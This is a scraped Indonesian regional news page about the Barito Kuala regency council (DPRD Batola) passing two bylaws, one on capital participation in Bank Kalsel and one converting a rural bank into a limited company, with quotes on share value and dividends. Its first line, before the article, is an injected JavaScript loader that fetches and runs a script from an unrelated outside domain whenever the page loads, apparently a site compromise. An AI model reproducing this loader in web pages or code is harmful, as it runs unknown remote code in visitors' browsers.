(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARABAHAN, Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Barito Kuala akhirnya merampungkan pembahasan dua rancangan peraturan daerah (Raperda) menjadi peraturan daerah (Perda), Senin (16/12) kemarin. Kedua Raperda itu disepakati dan ditetapkan dalam rapat paripurna yang dipimpin Ketua DPRD Batola Saleh.
Hadir pula Wakil Bupati H Rahmadian Noor, Wakil Ketua DPRD Agung Purnomo dan Arfah, Pj Sekda H Abdul Manaf, bersama sejumlah pejabat organisasi perangkat daerah (OPD) lingkup Pemkab Batola.
Dua Raperda yang rampung dibahas adalah Raperda tentang penyertaan modal Pemerintah Kabupaten Barito Kuala kepada Bank Kalsel dan Raperda tentang perubahan badan hukum PD Bank Perkreditan Rakyat Batola menjadi PT Bank Perkreditan Rakyat Batola.
Sebelum ditetapkan bersama-sama antara pemerintah daerah dan DPRD, dua Raperda yang diusulkan oleh eksekutif ini telah melalui tahapan-tahapan yang kesemuanya berjalan tertib dan lancar. Dimulai dari pembahasan pada panitia khusus, fasilitasi dari Gubernur Kalimantan Selatan kemudian ditindak lanjuti dengan finalisasi.
Bupati Batola Hj Noormiliyani AS dalam sambutannya yang dibacakan Wakil Bupati Batola H Rahmadian Noor mengatakan bahwa maksud dan tujuan perda penyertaan modal Pemda Batola kepada Bank Kalsel adalah dengan prinsip saling menguntungkan atau profit oriented.
“Posisi saham atau penyertaan modal Pemda Batola per 31 Desember 2018 sebesar Rp. 70.000.000.000 (tujuh puluh miliar rupiah), dengan persentase share kepemilikan 5,46 % dan telah memberikan dividen tahun 2017 sebesar Rp. 8.623.558.708 (delapan miliar enam ratus dua puluh tiga juta lima ratus lima puluh delapan ribu tujuh ratus delapan rupiah),” papar H Rahmadian Noor.
Selanjutnya, pria yang akrab disapa Rahmadi tersebut menyampaikan beberapa keuntungan yang diperoleh Pemda Batola dari kerjasama dengan Bank Kalsel selain dari deviden, bunga deposito, jasa giro dan pertumbuhan nilai perusahaan.
“Masyarakat Batola juga diuntungkan dari program CSR Bank Kalsel yang tentunya sangat bermanfaat bagi kesejahteraan dan peningkatan ekonomi masyarakat. Disamping itu, dengan adanya dua Perda akan menjadi payung hukum pemerintah daerah dengan harapan sebagai penunjang untuk menjalankan program visi dan misi dalam mensejahterakan masyarakat,” imbuhnya.
Rahmadi juga menyampaikan terima kasih kepada DPRD Batola atas kerja sama yang baik hingga dapat melalui berbagai tahapan melelahkan dalam pembahasan dua Raperda tersebut. “Atas segala saran dan harapan yang disampaikan akan menjadi perhatian. Untuk kerjasama, saling pengertian serta rasa kebersamaan yang tinggi dari pimpinan dan anggota dewan yang terhormat, saya memberikan apresiasi dan penghargaan yang tak terhingga,” tutup Rahmadi. (hms/btl)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.